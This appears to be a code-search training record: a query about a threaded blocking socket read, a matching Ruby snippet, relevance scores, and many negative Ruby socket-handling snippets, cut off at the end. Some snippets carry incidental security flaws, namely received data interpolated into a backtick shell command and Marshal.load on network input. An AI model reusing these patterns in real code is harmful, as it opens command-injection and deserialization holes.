"def do_data( data )\n @log.debug \"[#{@id}] got #{data.length} bytes\" if @log.debug?\n\n @data << data\n @progress_callback[@data] if @progress_callback\n\n if @length < 0 || @data.length < @length\n if @length < 0\n length = @chunk_size\n else\n length = @length - @data.length\n length = length > @chunk_size ? @chunk_size : length\n end\n\n @log.debug \"[#{@id}] requesting #{length} more bytes\" if @log.debug?\n @driver.read @id, @handle, @offset + @data.length, length\n @session.register( @id, self )\n else\n @callback[ OK, @data ]\n end\n end",
"def receive_data(data)\n hash = Marshal.load(data)\n JR::JobLogger.log(\"#{@node.name} received job: #{hash}\")\n hash.merge!('node' => @node.name)\n @storage.save(hash) do |hash|\n @node.schedule(hash)\n end\n send_data('ok')\n end",
"def receive_data(data)\n data.each_char do |char|\n if char == @end_seq[ @end_i ]\n if @end_i == @end_seq.size-1\n @minerd.send_detach\n EM.stop\n return\n end\n\n @end_i += 1\n\n if @end_i == 1\n @private_buffer += char\n\n else\n @buffer += char\n end\n\n elsif char == @end_seq.first\n @private_buffer += char\n\n else\n @end_i = 0\n\n unless @private_buffer.empty?\n @buffer += @private_buffer\n @private_buffer.clear\n end\n\n @buffer += char\n end\n end\n\n @minerd.send_write(@buffer)\n @buffer.clear\n end",
"def receive_data(data)\n self.received_data += data\n process_data if data.end_with?(\"\\n\")\n end",
"def write(data)\n rescue_writable do\n socket.write_nonblock(data)\n end\n end",
"def receive_data(data)\n end",
"def send_data(s, data)\n\n if USE_MP3\n audio_data = `echo '#{data}' | base64 --decode | sox -r 8000 -c 1 -e mu-law -t raw - -r 48000 -c 1 -t mp3 -`\n else\n audio_data = `echo '#{data}' | base64 --decode | opusenc --quiet --raw --raw-bits 8 --raw-rate 8000 --raw-chan 1 --bitrate 96 - -`\n end\n m = ShoutMetadata.new\n m.add 'filename', \"e#{5}_#{SecureRandom.urlsafe_base64}.mp3\"\n m.add 'title', \"My episode\"\n m.add 'artist', \"Mo\"\n s.metadata = m\n s.send audio_data\n s.sync\n\nend",
"def queue(env, data)\r\n if @error.nil?\r\n data.force_encoding('BINARY')\r\n\r\n @received = @received + data.bytesize\r\n if @received > @expected\r\n @error = \"Invalid Content-Length value\"\r\n clear_buffer\r\n end\r\n\r\n @buffer << data\r\n flush_buffer if @buffer.bytesize > @chunklimit # if multipart\r\n end\r\n end",
"def send(data: {}, headers: {})\n `#@native.open(#{method}, #{url})`\n @data = data\n self.headers = headers\n\n if method == :get || method == :delete\n `#@native.send()`\n elsif Hash === data\n `#@native.send(#{JSON.generate data})`\n elsif `!!data['native']`\n `#@native.send(data['native'])`\n else\n `#@native.send(data)`\n end\n\n self\n end",
"def do_data( channel, data )\n if @parsed_data\n @parsed_data[:content].append data\n return if @parsed_data[:length] > @parsed_data[:content].length\n\n type = @parsed_data[:type]\n content = @parsed_data[:content]\n @parsed_data = nil\n else\n reader = @buffers.reader( data )\n length = reader.read_long-1\n type = reader.read_byte\n content = reader.remainder_as_buffer\n\n if length > content.length\n @parsed_data = { :length => length,\n :type => type,\n :content => content }\n return\n end\n end\n\n if type == FXP_VERSION\n do_version content\n else\n assert_state :open\n @dispatcher.dispatch channel, type, content\n end\n end",
"def receive_binary_data data\n # no-op\n end",
"def receive_data(data)\n (@buffer ||= '') << data\n while index = @buffer.index(DELIM)\n begin\n line = @buffer.slice!(0, index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def send(data, flags = 0)\n result = Winsock.send(@descriptor, data, data.size, flags)\n SocketError.check if result == -1\n return result\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def send(file_or_data, type: nil, name: nil)\n if file_or_data.is_a?(IO) || file_or_data.is_a?(StringIO)\n data = file_or_data\n\n if file_or_data.is_a?(File)\n type ||= Rack::Mime.mime_type(File.extname(file_or_data.path))\n end\n\n @connection.set_response_header(Rack::CONTENT_TYPE, type || DEFAULT_SEND_TYPE)\n elsif file_or_data.is_a?(String)\n @connection.set_response_header(Rack::CONTENT_TYPE, type) if type\n data = StringIO.new(file_or_data)\n else\n raise ArgumentError, \"Expected an IO or String object\"\n end\n\n @connection.set_response_header(CONTENT_DISPOSITION, name ? \"attachment; filename=#{name}\" : \"inline\")\n halt(data)\n end",
"def send_data(*args)\n EM.next_tick do\n @socket.send_data(*args)\n end\n end",
"def write(data, *args, **kwd); end",
"def write(data)\n begin\n @socket.sync = false\n if data.nil?\n write_timeout([0, 0, @seq].pack(\"CvC\"), @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n else\n data = StringIO.new data if data.is_a? String\n while d = data.read(MAX_PACKET_LENGTH)\n write_timeout([d.length%256, d.length/256, @seq].pack(\"CvC\")+d, @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n end\n end\n @socket.sync = true\n @socket.flush\n rescue Errno::EPIPE\n @socket.close rescue nil\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Errno::ETIMEDOUT\n raise ClientError, \"write timeout\"\n end\n end",
"def send_data(value)\r\n msg = \"#{value.chop}\\r\\n\"\r\n @socket.print(msg)\r\n end",
"def send(data)\r\n @connected.callback { send_data data }\r\n end",
"def send(data)\r\n @connected.callback { send_data data }\r\n end",
"def receive_data(data)\n logdebug \"receive_data:\", :data => data\n end",
"def send_extended_data( type, data )\n @connection.register_data_request( self, data, type )\n end",
"def receive_data(data)\n forwarder = Forwarder.new(host, data.strip, ports)\n send_data(forwarder.start)\n close_connection_after_writing\n end",
"def receive_data(data)\n #@logger.trace { \">>> #{data.inspect}\" }\n @buffer.receive(data) do |message_type_char, raw_message|\n @message = MosesPG::Message.create(message_type_char, raw_message)\n @logger.trace { \">>> #{@message}\" }\n @message.events.each { |event| send(event) }\n end\n self\n end",
"def receive_data(data)\n @buffer << data\n end",
"def receive_data p_data\n if p_data[:data][:worker_method] == :exit\n exit\n end\n case p_data[:type]\n when :request then process_request(p_data)\n when :response then process_response(p_data)\n when :get_result then return_result_object(p_data)\n end\n end",
"def write_message( data )\n\t\tmessage = [ data.bytesize, data ].pack( MESSAGE_TEMPLATE )\n\t\tself.log.debug \"Writing message %p to command server.\" % [ message ]\n\t\tself.writer.write( message )\n\tend",
"def receive_data data\n (@buffer||='') << data\n\n while index = @buffer.index(Cdelimiter)\n begin\n line = @buffer.slice!(0,index+2)\n process_cmd line\n rescue ParserError\n @buffer[0...0] = line\n break\n end\n end\n end",
"def receive_data(data)\n handle(data)\n end",
"def worker_receive p_data\n send_object(p_data)\n end",
"def receive_data(data)\n\n if data.match 'SOURCE'\n p data\n send_data(\"HTTP 200 OK\\r\\n\\r\\n\")\n else\n # require 'pry'; binding.pry\n p data.size\n @channel.push(data.bytes)\n end\n end"
] |
[
"0.7245496",
"0.71410024",
"0.7053566",
"0.7043369",
"0.701183",
"0.68845046",
"0.68845046",
"0.6847166",
"0.68200195",
"0.67849225",
"0.6743939",
"0.667417",
"0.6670131",
"0.6663493",
"0.6640174",
"0.6599512",
"0.65946305",
"0.6562405",
"0.6481626",
"0.6396668",
"0.6396668",
"0.6387835",
"0.6366556",
"0.6345729",
"0.6334595",
"0.62888414",
"0.6264111",
"0.6212",
"0.6207894",
"0.6190756",
"0.6170183",
"0.613477",
"0.60830617",
"0.60747325",
"0.6069915",
"0.6060262",
"0.60523343",
"0.6033405",
"0.60316986",
"0.60166615",
"0.60155797",
"0.59917516",
"0.5984937",
"0.59760267",
"0.5933401",
"0.5932307",
"0.5928466",
"0.5921323",
"0.59075814",
"0.5901855",
"0.58743906",
"0.58734393",
"0.58451146",
"0.5838554",
"0.58378637",
"0.5808826",
"0.5772623",
"0.5756516",
"0.57537866",
"0.5748609",
"0.5736924",
"0.5735805",
"0.57352144",
"0.57224476",
"0.5712673",
"0.5698389",
"0.5694848",
"0.56913275",
"0.5673879",
"0.5670371",
"0.5644826",
"0.5636872",
"0.562354",
"0.5617631",
"0.5616666",
"0.5610237",
"0.5601806",
"0.55947554",
"0.55891615",
"0.55891615",
"0.55891615",
"0.55891615",
"0.558663",
"0.55779225",
"0.55777556",
"0.55730563",
"0.55720943",
"0.55691254",
"0.55691254",
"0.55680805",
"0.556724",
"0.55635434",
"0.55578244",
"0.55528504",
"0.55510503",
"0.5544639",
"0.55368805",
"0.5528533",
"0.55257255",
"0.55169505"
] |
0.77660716
|
0
|
Use one thread to perform blocking read on the socket
|
def init_messaging
@read_thread = Thread.new { read_loop }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run\n while true; async.handle_message @socket.read; end\n end",
"def blocking_read\r\n raise RuntimeError, \"CONN_UDP: blocking_read: Not connected!\" unless connected?\r\n begin\r\n data=@sock.recvfrom(8192)[0]\r\n return nil if data.empty?\r\n data\r\n rescue\r\n destroy_connection\r\n raise RuntimeError, \"CONN_UDP: blocking_read: Couldn't read from socket! (#{$!})\"\r\n end\r\n end",
"def blocking_read\n raise RuntimeError, \"RAWIP: blocking_read: Not connected!\" unless connected?\n begin\n loop do\n data, sender = @rsock.recvfrom(8192)\n port, host = Socket.unpack_sockaddr_in(sender)\n #Assume a 20 byte IP header (yuck!)\n return data[20..-1] if host == @dest # only queue packets from our peer\n end\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_read: Couldn't read from socket! (#{$!})\"\n end\n end",
"def read_from_socket maxlen\n socket.read_nonblock maxlen\n rescue IO::WaitReadable\n :wait_readable\n end",
"def non_blocking_gets\n loop do\n result, _, _ = IO.select([@socket], nil, nil, 0.2)\n next unless result\n return result[0].gets\n end\n end",
"def readfromsocket\n loop do\n if(@socket.eof?)\n break\n else\n begin\n queueingWithNotify(@socket.gets)\n rescue StandardError,SocketError,IOError\n break\n end\n end\n end\n \n @recvthread=nil\n self.close\n Thread.current.exit\n end",
"def read_nonblock\n begin\n res = @client.recv_nonblock(256)\n rescue IO::WaitReadable\n res = nil\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\n puts \"#{'Error:'.error} Cannot communicate with Drone!\"\n @connected\n end\n end",
"def wait_readable\n if evented?\n Celluloid.current_actor.wait_readable(@socket)\n else\n Kernel.select([@socket])\n end\n end",
"def non_blocking_gets\n loop do\n result, _, _ = IO.select( [@socket], nil, nil, 0.2 )\n next unless result\n return result[0].gets\n end\n end",
"def recv_nonblock(bytes_to_read, flags = 0)\n fcntl Fcntl::F_SETFL, Fcntl::O_NONBLOCK\n socket_recv bytes_to_read, flags, 0\n rescue Errno::EWOULDBLOCK\n raise Errno::EAGAIN\n end",
"def readpartial(size)\n reset_timer\n\n loop do\n result = socket.read_nonblock(size, :exception => false)\n if result.nil?\n return :eof\n elsif result != :wait_readable\n return result\n end\n\n IO.select([socket], nil, nil, time_left)\n log_time\n end\n end",
"def read\n @socket.read(1)\n end",
"def start_async\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n l = Mutex.new\n loop do\n begin\n x = Dr2.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n Thread.start {\n begin\n @threads << Thread.current\n receive x, c, l\n ensure\n l.unlock rescue nil if l.locked?\n @threads.delete Thread.current\n end\n }\n rescue Dr2::Types::EOFException\n break\n rescue Dr2::Types::QuitException\n break\n rescue Exception\n l.synchronize { Dr2.write(c, $!) }\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def read_loop\n loop do\n begin\n should_bail = synchronize do\n # FIXME: In case of reconnect as well?\n @status == CLOSED or @status == RECONNECTING\n end\n if !@io or @io.closed? or should_bail\n return\n end\n\n # TODO: Remove timeout and just wait to be ready\n data = @io.read(MAX_SOCKET_READ_BYTES)\n @parser.parse(data) if data\n rescue Errno::ETIMEDOUT\n # FIXME: We do not really need a timeout here...\n retry\n rescue => e\n # In case of reading/parser errors, trigger\n # reconnection logic in case desired.\n process_op_error(e)\n end\n end\n end",
"def ssl_socket_read(ssl_socket, bytes)\n log.chunder('ssl_socket_read')\n\n begin\n return ssl_socket.read_nonblock(bytes)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n\n ensure\n log.chunder('done ssl_socket_read')\n end",
"def read timeout = DEFAULT_READ_TIMEOUT\n return @responses.shift unless @responses.empty?\n\n results = select([ @socket ], nil, nil, timeout)\n\n @buff += @socket.recv(4 * 1024) if (results and results[0].include? @socket) # results nil on timeout\n\n if @buff =~ /^(.*\\r\\n)(.*)$/m # network responses can split at odd boundries; check for completed messages ending with \\r\\n.\n @buff = $2 # save potential partial response for later..\n @responses += $1.split(/\\r\\n/) # and sock away all of the completed responses\n end\n\n @responses.shift # return next queued message or nil if we've timed out\n end",
"def background_read\n @log.debug \"Background read start\"\n begin\n while true\n dat = @socket_srv.gets\n if dat.nil?\n @log.debug \"data nil, terminate read\"\n break\n elsif dat.empty?\n @log.debug \"data empty, try to continue\"\n next\n end \n @log.debug \"<server> #{dat.chomp}\" if @server_msg_aredebugged\n parse_server_message(dat)\n end\n rescue\n @log.warn \"socket read end: (#{$!})\"\n ensure\n @log.debug \"Background read terminated\"\n @socket_srv = nil\n @model_net_data.event_cupe_raised(:ev_client_disconnected)\n end\n end",
"def read()\r\n return @socket.read(1)\r\n end",
"def io_loop\n while true\n # if no data is coming in, don't block the socket!\n read_incoming_data if Kernel.select([@socket], nil, nil, 0)\n\n # Check for dead socket\n @dead_socket = true if @socket.eof?\n\n sleep 0.05\n end\n end",
"def _read maxlen = DEFAULT_MAXLEN\n begin\n data = nil\n\n loop do\n data = read_from_socket maxlen\n case data\n when :wait_readable\n IO.select selector\n when NilClass\n break\n else\n begin\n @client << data\n rescue HTTP2::Error::ProtocolError => pe\n STDERR.puts \"protocol error: #{pe.message}\"\n STDERR.puts pe.backtrace.map {|l| \"\\t\" + l}\n end\n end\n end\n\n rescue IOError, Errno::EBADF\n close\n ensure\n unblock!\n end\n end",
"def read_blocking(count)\n bytes = ''\n while bytes.length < count\n bytes += read_non_blocking(count).to_s\n sleep 0.001\n end\n bytes\n end",
"def socket_read(socket, bytes, until_blocked=false)\n case socket\n when TCPSocket\n socket.recv(bytes)\n when OpenSSL::SSL::SSLSocket\n ssl_socket_read(socket, bytes)\n else\n raise ArgumentError.new(\"Unexpected socket type: #{socket.inspect}\")\n end\n end",
"def read()\n data = @sock.recv(8192)\n return data\n end",
"def _receive(read_socket, connread = false)\n # p [ \"ioscheck\", @iosto, connread ]\n # _dump_callstack()\n # drdbg = true\n drdbg = false\n @read_semaphore.synchronize do\n line = nil\n if connread\n begin\n Timeout::timeout(@connread_timeout, Stomp::Error::ConnectReadTimeout) do\n line = _init_line_read(read_socket)\n end\n rescue Stomp::Error::ConnectReadTimeout => ex\n if @reliable\n _reconn_prep()\n end\n raise ex\n end\n else\n p [ \"CONR01\" ] if drdbg\n _dump_callstack() if drdbg\n line = _init_line_read(read_socket)\n end\n #\n p [ \"nilcheck\", line.nil? ] if drdbg\n return nil if line.nil?\n #An extra \\n at the beginning of the frame, possibly not caught by is_ready?\n line = '' if line == \"\\n\"\n if line == HAND_SHAKE_DATA\n raise Stomp::Error::HandShakeDetectedError\n end\n p [ \"wiredatain_01A\", line, Time.now ] if drdbg\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_01B\", line, Time.now ] if drdbg\n # Reads the beginning of the message until it runs into a empty line\n message_header = ''\n begin\n message_header += line\n p [ \"wiredatain_02A\", line, Time.now ] if drdbg\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"wiredatain_02B\", line, Time.now ] if drdbg\n line = _interruptible_gets(read_socket)\n p [ \"wiredatain_02C\", line ] if drdbg\n raise if line.nil?\n line = _normalize_line_end(line) if @protocol >= Stomp::SPL_12\n p [ \"wiredatain_02D\", line ] if drdbg\n end until line =~ /^\\s?\\n$/\n p [ \"wiredatain_03A\" ] if drdbg\n # Checks if it includes content_length header\n content_length = message_header.match(/content-length\\s?:\\s?(\\d+)\\s?\\n/)\n message_body = ''\n\n p [ \"wiredatain_03B\", content_length ] if drdbg\n # If content_length is present, read the specified amount of bytes\n if content_length\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"CL01\" ] if drdbg\n message_body = read_socket.read content_length[1].to_i\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n raise Stomp::Error::InvalidMessageLength unless parse_char(read_socket.getc) == \"\\0\"\n # Else read the rest of the message until the first \\0\n else\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"NOCL01\" ] if drdbg\n message_body = read_socket.readline(\"\\0\")\n message_body.chop!\n end\n\n p [ \"wiredatain_04\" ] if drdbg\n # If the buffer isn't empty, reads trailing new lines.\n #\n # Note: experiments with JRuby seem to show that socket.ready? never\n # returns true. It appears that in cases where Ruby returns true\n # that JRuby returns a Fixnum. We attempt to adjust for this\n # in the _is_ready? method.\n #\n # Note 2: the draining of new lines must be done _after_ a message\n # is read. Do _not_ leave them on the wire and attempt to drain them\n # at the start of the next read. Attempting to do that breaks the\n # asynchronous nature of the 'poll' method.\n p [ \"wiredatain_05_prep\", \"isr\", _is_ready?(read_socket) ] if drdbg\n while _is_ready?(read_socket)\n unless connread || @ssl\n raise Stomp::Error::ReceiveTimeout unless IO.select([read_socket], nil, nil, @iosto)\n end\n p [ \"WHIR01\" ] if drdbg\n last_char = read_socket.getc\n break unless last_char\n if parse_char(last_char) != \"\\n\"\n read_socket.ungetc(last_char)\n break\n end\n end\n p [ \"wiredatain_05A\" ] if drdbg\n if @protocol >= Stomp::SPL_11\n @lr = Time.now.to_f if @hbr\n end\n # Adds the excluded \\n and \\0 and tries to create a new message with it\n p [ \"wiredatain_05B\" ] if drdbg\n msg = Message.new(message_header + \"\\n\" + message_body + \"\\0\", @protocol >= Stomp::SPL_11)\n p [ \"wiredatain_06\", msg.command, msg.headers ] if drdbg\n #\n if @protocol >= Stomp::SPL_11 && msg.command != Stomp::CMD_CONNECTED\n msg.headers = _decodeHeaders(msg.headers)\n end\n p [ \"wiredatain_99\", msg.command, msg.headers ] if drdbg\n msg\n end\n end",
"def inner_loop\n return if @stop\n\n data = @socket.readpartial 4096\n driver.parse data unless data.nil? or data.empty?\n end",
"def __read(buffer_length, buffer = nil)\n @io.read_nonblock(buffer_length, buffer)\n rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::EINTR\n Minx.yield\n retry\n end",
"def run_socket_thread\n @thread ||= Thread.new { run_socket_loop }\n end",
"def receive(opts={})\n\t\ttimeout = opts.fetch(:timeout, 40).to_i\n\t\twait_for_null = opts.fetch(:wait_for_null, true)\n\t\t\n\t\tresponse = \"\"\n\t\t\n\t\t# Wait for data to become available on the socket\n\t\tres = select([@sock], nil, nil, timeout)\n\t\tif (res == nil)\n\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\tend\n\t\t\n\t\tif (wait_for_null)\n\t\t\tbegin\n\t\t\t\ttimeout(timeout) {\n\t\t\t\t\tresponse = @sock.gets(\"\\0\")\n\t\t\t\t}\n\t\t\trescue Timeout::Error\n\t\t\t\traise \"Timeout waiting for reader response.\" if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\tresponse.strip!\n\t\t\t\n\t\t\tif response.include? \"Error\"\n\t\t\t\traise response if @raise_errors\n\t\t\tend\n\t\t\t\n\t\t\t# If this is a response to a Quit command, the reader will close the socket. \n\t\t\t# If there is an active connection, the reader will reject our attempt to connect.\n\t\t\t# Either way, we're not connected anymore...\n\t\t\tif (response.include? \"Goodbye!\")\n\t\t\t\tclose(false)\n\t\t\tend\n\t\t\t\n\t\t\treturn response\n\t\telse\n\t\t\t# Simply try to read up to 1 kB and return it (no timeout)\n\t\t\treturn @sock.recv(1024)\n\t\tend\n\tend",
"def read\n\t\tCONNECTION_LOGGER.debug(\"In Accept\")\n\n\t\tbegin\n\t\t\tclient_socket, client_addrinfo = @server_socket.accept_nonblock\n\n\t\t\tCONNECTION_LOGGER.info(\"Accepting connection: #{client_socket}, #{client_addrinfo}\")\n\n\t\t\tchanged\n\t\t\tnotify_observers(Client.new(client_socket))\n\n\t\trescue IO::WaitReadable\n\t\t\tCONNECTION_LOGGER.warn(\"Read failed\")\n\t\trescue EOFError\n\t\t\tCONNECTION_LOGGER.warn(\"Server socket has died\")\n\t\tend\n\tend",
"def read\n @mutex.synchronize {\n if(!@reading)\n @reading = 1\n begin\n str = @sock.gets\n rescue\n end\n\n @reading = nil\n return str\n else\n return nil\n end\n }\n end",
"def process_reading\n\t\t\t# open a thread\n\t\t\t@reading_thread = Thread.new do\n\t\t\t\tbegin\n\t\t\t\t\t# session handshake (see section 4.1)\n\t\t\t\t\t# gets the 'ClientFirstByte'\n\t\t\t\t\tf_byte = read(1)\n\t\t\t\t\t\n\t\t\t\t\t# gets the 'ClientHandcheckReceiving'\n\t\t\t\t\tc_handcheck = read(1536)\n\t\t\t\t\t\n\t\t\t\t\t# generates 'SERVER_HANDCHECK'\n\t\t\t\t\ts_handcheck = \"a\"*1536\n\t\t\t\t\t\n\t\t\t\t\t# sends 'ServerFirstByte', 'ServerHandcheckSending' and 'ClientHandcheckSending'\n\t\t\t\t\twrite ( \"\\3\" << s_handcheck << c_handcheck )\n\t\t\t\t\t\n\t\t\t\t\t# get the 'ServerHandcheckReceiving'\n\t\t\t\t\tread(1536)\n\t\t\t\t\t# handshake done\n\t\t\t\t\t\n\t\t\t\t\t# get the 'CONNECTION_PACKET'\n\t\t\t\t\t@first_packet = get_packet\n\t\t\t\t\t@connected = true\n\t\t\t\t\t# starts the writing loop\n\t\t\t\t\tprocess_writing\n\t\n\t\t\t\t\t# process the 'CONNECTION_PACKET' and notice the server\n\t\t\t\t\t@server.on_session(self)\n\t\t\t\t\t\n\t\t\t\t\t# enter the reading loop\n\t\t\t\t\twhile @connected do\n\t\t\t\t\t\t# fires an event each time the session receives a packet\n\t\t\t\t\t\ton_packet(get_packet)\n\t\t\t\t\tend\n\t\t\t\trescue Exception => obj\n\t\t\t\t\tdisconnect(obj)\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def handle_read\n begin\n client, addr = socket.accept_nonblock\n emit(:accept, Stream.new(socket: client, address: addr))\n rescue IOError\n end\n end",
"def receive_data\n if @socket\n # udp receive\n @socket.recvfrom(1024)\n else\n # tcp receive\n sleep 0.1\n if $received_data\n $received_data.shift\n else\n fail 'no data'\n end\n end\n end",
"def readpartial(size, buffer = nil)\n timeout = false\n loop do\n result = @socket.read_nonblock(size, buffer, :exception => false)\n\n return :eof if result.nil?\n return result if result != :wait_readable\n\n raise TimeoutError, \"Read timed out after #{@read_timeout} seconds\" if timeout\n\n # marking the socket for timeout. Why is this not being raised immediately?\n # it seems there is some race-condition on the network level between calling\n # #read_nonblock and #wait_readable, in which #read_nonblock signalizes waiting\n # for reads, and when waiting for x seconds, it returns nil suddenly without completing\n # the x seconds. In a normal case this would be a timeout on wait/read, but it can\n # also mean that the socket has been closed by the server. Therefore we \"mark\" the\n # socket for timeout and try to read more bytes. If it returns :eof, it's all good, no\n # timeout. Else, the first timeout was a proper timeout.\n # This hack has to be done because io/wait#wait_readable doesn't provide a value for when\n # the socket is closed by the server, and HTTP::Parser doesn't provide the limit for the chunks.\n timeout = true unless @socket.to_io.wait_readable(@read_timeout)\n end\n end",
"def connect(&block)\n sock = TCPSocket.new @host, @port\n while true\n ready = IO.select([sock], nil, nil, nil)\n if ready != nil\n then readable = ready[0]\n else\n return\n end\n\n readable.each do |socket|\n begin\n if socket == sock\n data = sock.recv_nonblock(1024).chomp\n if block_given?\n yield data\n else\n puts data\n end\n end\n rescue IO::WaitReadable\n retry\n end\n end\n\n end\n end",
"def start_partial_sync\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n receive x, c\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def on_any_receive()\n Thread.new() do\n begin\n if self.data_readed.size>0\n buff,self.data_readed=self.data_readed,strempty\n yield(buff)\n end\n loop do\n data=(self.recv(64*1024) rescue nil)\n data && data.size>0 ? yield(data) : break\n end\n rescue Exception => e\n $stdout.puts \"#{e} :\\n #{e.backtrace.join(\"\\n \")}\"\n end\n close rescue nil\n end\n end",
"def listen\n @thread = Thread.new do\n while (true)\n header = @socket.read(1)\n length = @socket.read(4).unpack(\"I\")[0]\n data = @socket.read(length)\n\n case header\n when \"0\"\n puts \"chat message from #{@socket.peeraddr[3]}: #{data}\"\n end\n end\n end\n end",
"def start_sync\n lock = Mutex.new\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n lock.synchronize { receive x, c }\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def readpartial(size)\n rescue_readable do\n socket.read_nonblock(size)\n end\n end",
"def monitor_socket\n\t\tself.waiters = []\n\n\t\t# Spawn a new thread that monitors the socket\n\t\tself.dispatcher_thread = ::Thread.new {\n\t\t\twhile (true)\n\t\t\t\tbegin\n\t\t\t\t\trv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, 2)\n\t\t\t\trescue\n\t\t\t\t\tdlog(\"Exception caught in monitor_socket: #{$!}\", 'meterpreter', LEV_1)\n\t\t\t\tend\n\n\t\t\t\tbegin\n\t\t\t\t\tpacket = receive_packet\n\t\t\t\trescue EOFError\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\tif (packet)\n\t\t\t\t\tdispatch_inbound_packet(packet)\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend",
"def test_read_against_timeout_with_other_thread\n thread = Thread.new do\n sleep 0.1 while true\n end\n\n listen do |_|\n hiredis.connect(\"localhost\", DEFAULT_PORT)\n hiredis.timeout = 10_000\n\n assert_raises Errno::EAGAIN do\n hiredis.read\n end\n end\n ensure\n thread.kill\n end",
"def read\n return if @read_flag\n\n process_reading\n end",
"def recv(n)\n until(buffer.length >= n)\n read_stream\n sleep(0.1) unless buffer.length >= n\n end\n buffer.slice!(0, n)\n end",
"def read( bytes_to_read )\n begin\n client = TCPSocket.new( @ip_address, @port )\n read_bytes = client.read( bytes_to_read )\n puts \"Read #{read_bytes.length}:\"\n print_bytes( read_bytes )\n return read_bytes\n rescue Errno::ETIMEDOUT\n return -1\n end\n end",
"def read_blocked\n end",
"def read_worker_loop\n Thread.new do\n begin\n data = {}\n while @running\n upstream_data = @data_source_block.call\n if data_changed?(upstream_data, data[:upstream_data])\n data = wrap_data(upstream_data)\n @current_upstream = data\n if @no_wrap\n @send_queue << [upstream_data]\n else\n @send_queue << data\n end\n end\n sleep(@read_worker_delay)\n end\n rescue => e\n logger.error \"Read worker error:\"\n logger.error e\n end\n end\n end",
"def read_loop\n loop do\n msg = connection.read_msg\n msg.received_at = Time.now\n handle(msg)\n end\n rescue StandardError => e\n self << [:raise_error, e]\n end",
"def try_blocking_receive\n mutex.lock\n if mailbox.empty?\n mutex.unlock\n Thread.stop\n Undefined\n else\n mailbox.shift.tap do\n mutex.unlock\n end\n end\n end",
"def socket_loop\n @socket.listen\n loop do\n client_socket, client_addr = @socket.accept\n Thread.new(client_socket) { |client_socket| serve_client client_socket } \n end\n @manager.tem_ports\n end",
"def read_socket(socket, cont)\n loop do\n if socket.closed?\n if !cont.empty?\n #This might just be the last allowed request...\n break\n else\n #This should not have happened...\n raise Errno::ECONNRESET, \"Socket closed before trying to read.\"\n end\n end\n \n read = socket.gets\n raise Errno::ECONNRESET, \"Socket returned non-string: '#{read.class.name}'.\" if !read.is_a?(String)\n cont << read\n break if cont[-4..-1] == \"\\r\\n\\r\\n\" or cont[-2..-1] == \"\\n\\n\"\n end\n end",
"def run\n\t\n\t\twhile true \t\t\t\t\t\t# run forever\n\t\t\n\t\t\tready2read = sockets_ready_for_reading()\n\t\t\t\n\t\t\tnext if not ready2read \t\t\t# if nil, loop again\n\t\n\t\t\tputs \"<Debug> ready2read=#{ready2read.inspect}\" if $DEBUG\n\n\t\t\tready2read.each do |socket|\t\t\n\t\t\t\n\t\t\t\tif socket == @server_socket then\t# we have a new client\n\n\t\t\t\t\taccept_new_connection\n\n\t\t\t\telse \t\t\t\t\t\t\t# a client has a message\n\n\t\t\t\t\tconn = get_connection_by_socket(socket)\n\n\t\t\t\t\tif socket.eof? then \t# the socket was closed\n\n\t\t\t\t\t\tmessage = sprintf(\"190 %s@%s:%s now disconnected\\n\", \n\t\t\t\t\t\t\tconn.username, conn.host, conn.port)\n\t\t\t\t\t\tlog_message(message)\n\t\t\t\t\t\tbroadcast_message(message, conn)\n\t\t\t\t\t\tsocket.close\n\t\t\t\t\t\t@connection_array.delete(conn)\n\t\t\t\t\t\tlog_socket_info\n\n\t\t\t\t\telse\t\t\t\t\t# we have a message to process\n\t\t\t\t\t\n\t\t\t\t\t\tmessage = socket.gets.chomp!\n\t\t\t\t\t\tlog_string = sprintf(\"<log>:Message From: %s@%s:%s %s\", \n\t\t\t\t\t\t 